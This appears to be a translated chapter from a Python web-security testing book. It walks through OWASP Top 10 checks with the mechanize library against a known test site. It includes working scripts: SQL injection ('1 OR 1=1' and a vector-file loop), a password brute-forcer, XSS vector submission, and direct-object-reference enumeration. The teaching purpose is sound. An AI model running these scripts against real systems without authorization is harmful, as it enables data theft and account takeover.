开放式 Web 应用程序安全项目(OWASP)前 10 名是 10 个最关键的 Web 应用程序安全风险列表。在本章中,我们将讨论如何使用 Python 库编写 OWASP top 10 攻击脚本:
SQL 注入是一种攻击者可以创建或更改 SQL 命令以泄露数据库中数据的方法。如果应用程序接受用户输入并将其与静态参数组合以构建 SQL 查询,而无需进行适当的验证,则这种方法非常有效。
同样,所有类型的注入攻击都可以通过操纵应用程序的输入数据来完成。使用 Python,我们可以向应用程序注入一些攻击向量,并分析输出以验证攻击的可能性。Mechanize 是一个非常有用的 Python 模块,用于在 web 表单中导航,它使用 Python 提供有状态编程的 web 浏览体验。
我们可以使用mechanize
提交表格并分析回复:
import mechanize
# Import module
# Set the URL
url = "http://www.webscantest.com/datastore/search_by_id.php"
request = mechanize.Browser()
request.open(url)
# Selected the first form in the page
request.select_form(nr=0)
# Set the Id
request["id"] = "1 OR 1=1"
# Submit the form
response = request.submit()
content = response.read()
print content
这将打印 POST 请求的响应。这里我们提交一个攻击向量来中断 SQL 查询并打印表中的所有数据而不是一行。当测试一个网站时,我们必须创建许多像这样的定制脚本来测试许多类似的攻击向量。
因此,让我们重写脚本,从一个文件中获取所有攻击向量,并将它们逐个发送到服务器,然后将输出保存到一个文件中:
import mechanize
# Set the URL
url = "http://www.webscantest.com/datastore/search_by_id.php"
browser = mechanize.Browser()
attackNumber = 1
# Read attack vectors
with open('attack-vector.txt') as f:
# Send request with each attack vector
for line in f:
browser.open(url)
browser.select_form(nr=0)
browser["id"] = line
res = browser.submit()
content = res.read()
# write the response to file
output = open('response/'+str(attackNumber)+'.txt', 'w')
output.write(content)
output.close()
print attackNumber
attackNumber += 1
我们可以检查请求的响应并确定可能的攻击。例如,前面的代码示例将提供包含句子You have an error in your SQL syntax
的响应。由此,我们可以确定此表单可能倾向于 SQL 注入。之后,我们可以排除包含错误的响应,因为它们没有所需的数据。
此外,我们可以编写自定义脚本来注入 LDAP、XPath 或 NoSQL 查询、操作系统命令、XML 解析器和所有其他注入向量。
当有助于向应用程序验证用户的身份验证功能未正确实现时,可能会允许黑客破坏密码或会话 ID,或利用其他用户的凭据利用其他实现缺陷。这些类型的缺陷称为中断认证。
我们可以使用 mechanize 脚本检查应用程序中的身份验证机制。
这样,我们必须检查帐户管理功能,如帐户创建、更改密码和恢复密码。我们还可以编写定制的暴力和字典攻击脚本来检查应用程序的登录机制。
我们可以生成包含一系列字符的所有可能密码,如下所示:
# import required modules
from itertools import combinations
from string import ascii_lowercase
# Possible password list
passwords = (p for p in combinations(ascii_lowercase,8))
for p in passwords:
print ''.join(p)
稍后,我们可以在暴力攻击中使用这些密码,如下所示:
import mechanize
from itertools import combinations
from string import ascii_lowercase
url = "http://www.webscantest.com/login.php"
browser = mechanize.Browser()
attackNumber = 1
# Possible password list
passwords = (p for p in combinations(ascii_lowercase,8))
for p in passwords:
browser.open(url)
browser.select_form(nr=0)
browser["login"] = 'testuser'
browser["passwd"] = ''.join(p)
res = browser.submit()
content = res.read()
# Print response code
print res.code
# Write response to file
output = open('response/'+str(attackNumber)+'.txt', 'w')
output.write(content)
output.close()
attackNumber += 1
在这里,我们可以分析响应并确认登录。为此,我们必须在响应中搜索错误消息。如果在响应中未找到错误消息,则表示登录成功。
在前面的示例中,我们可以检查是否返回到登录页面。如果进入登录页面,则登录失败:
# check if we were taken back to the login page or not
if content.find('<input type="password" name="passwd" />') > 0:
print "Login failed"
我们还可以修改此脚本,以暴力破解可预测或更少的随机会话 cookie。为此,我们必须分析身份验证 cookie 模式。我们还可以用字典中的单词替换密码。代码将与我们为注入所做的相同,攻击向量将被替换为所提供的字典文件中的单词。
跨站点脚本也是一种注入攻击,当攻击者以浏览器端脚本的形式注入恶意攻击向量时,就会发生这种攻击。当 web 应用程序使用来自用户的输入来设计输出而不验证或编码输出时,就会发生这种情况。
我们可以修改用于注入 SQL 攻击向量的脚本来测试 XSS 注入。为了验证输出响应,我们可以在响应中搜索预期的脚本:
import mechanize
url = "http://www.webscantest.com/crosstraining/aboutyou.php"
browser = mechanize.Browser()
attackNumber = 1
with open('XSS-vectors.txt') as f:
for line in f:
browser.open(url)
browser.select_form(nr=0)
browser["fname"] = line
res = browser.submit()
content = res.read()
# check the attack vector is printed in the response.
if content.find(line) > 0:
print "Possible XXS"
output = open('response/'+str(attackNumber)+'.txt', 'w')
output.write(content)
output.close()
print attackNumber
attackNumber += 1
当用户输入在没有任何验证的情况下打印到响应时,就会发生 XSS。因此,为了检查 XSS 攻击的可能性,我们可以检查我们提供的攻击向量的响应文本。如果攻击向量存在于响应中而不存在任何逃避或验证,则存在 XSS 攻击的高可能性。
当应用程序使用实际引用标识符(ID)、名称或密钥创建网页或 URL,且应用程序未验证用户访问请求页面的真实性时,就会出现此漏洞。攻击者可能会更改 URL 中的参数以检测此类漏洞。
在应用程序中,其他用户将无法访问用户的数据。检查以下脚本示例;它将遍历用户并检查登录用户的数据是否可见:
import mechanize
url = "http://www.webscantest.com/business/access.php?serviceid="
attackNumber = 1
for i in range(5):
res = mechanize.urlopen(url+str(i))
content = res.read()
# check if the content is accessible
if content.find("You service") > 0:
print "Possible Direct Object Reference"
output = open('response/'+str(attackNumber)+'.txt', 'w')
output.write(content)
output.close()
print attackNumber
attackNumber += 1
为了更好地保护应用程序,它需要对其每种底层技术(如应用程序、web 服务器、数据库服务器和操作系统)进行安全配置。此外,我们需要使所有软件保持最新。安全配置错误的一些示例如下:
我们可以编写定制的 Python 脚本来检查网页中可能存在的数据暴露。例如,我们在前一章中讨论了电子邮件收集脚本,该脚本还可用于检查网页中是否存在任何公开的电子邮件 ID。
为此,我们必须编写一个脚本来检查 HTTP 响应中我们正在寻找的模式。敏感数据可能因网站及其使用情况而异。但我们可以检查信用卡、银行详细信息、个人身份证号码等敏感信息的曝光情况。
Web 应用程序在提供对特定功能的访问之前验证用户的功能级别访问权限。这些访问控制检查还需要在服务器端进行验证。如果服务器端缺少这些类型的访问检查,攻击者可以在没有任何授权的情况下进入应用程序。要检查这种类型的漏洞,我们可以创建自定义脚本,以向应用程序验证权限较低的用户,并尝试访问受限制的页面。我们可以确保特权较低的用户无法访问所有受限页面。
跨站点请求伪造(CSRF攻击欺骗受害者的浏览器,在受害者登录时向易受攻击的应用程序发送被操纵的请求。因此,应用程序应该确保请求是合法的。
由于 CSRF 攻击是对登录用户的攻击,因此我们必须随请求一起发送会话 cookie。我们可以使用cookielib
在会话之间记住 cookies:
import mechanize
cookies = mechanize.CookieJar()
cookie_opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies))
mechanize.install_opener(cookie_opener)
url = "http://www.webscantest.com/crosstraining/aboutyou.php"
res = mechanize.urlopen(url)
content = res.read()
为了测试 CSRF,我们必须从实际页面以外的页面提交表单。我们还可以检查表格中是否有 CSRF 令牌。如果表单中存在这样一个令牌,请操纵这些值,并确保表单失败,CSRF 令牌不正确,并在每个请求中生成一个新令牌。
当我们在未经适当验证的情况下使用库、框架等组件时,就会出现这种类型的漏洞。这些组件在应用程序中可能始终以完全权限执行。因此,当在应用程序中使用易受攻击的组件时,攻击者可以更轻松地完成任务。我们可以编写一个 Python 脚本来检查应用程序中使用的组件的版本,并使用开源漏洞数据库(OSVDB)对任何未修补的已知漏洞进行验证。
OSVDB 列出了库和框架的几乎所有已知漏洞。因此,我们必须确保使用最新的组件,并在组件上应用最新的补丁。
Web 应用程序经常将用户重定向到其他页面或外部网站。我们必须验证这些重定向页面和网站的可信度。如果重定向目标作为参数传递给应用程序,则攻击者可以引导用户访问任何网络钓鱼或恶意软件注入的网页。我们可以编写一个 Python 脚本来验证应用程序中的所有外部链接。为了验证可信度,我们可以依赖任何第三方服务,如谷歌安全浏览检查器或 McAfee 的网站顾问。
谷歌安全浏览检查器可在此处找到:https://www.google.com/transparencyreport/safebrowsing/diagnostic/index.html 和 McAfee 现场顾问在此:http://www.siteadvisor.com/sites/ 。
我们已经讨论了攻击脚本的基本可能性。现在,您可以根据需要创建自定义脚本。在本章中,我们使用 mechanize 编写脚本。我们还可以使用前面章节中讨论过的任何其他模块来实现需求。我们将在下一章中讨论更多关于模糊和暴力攻击的内容。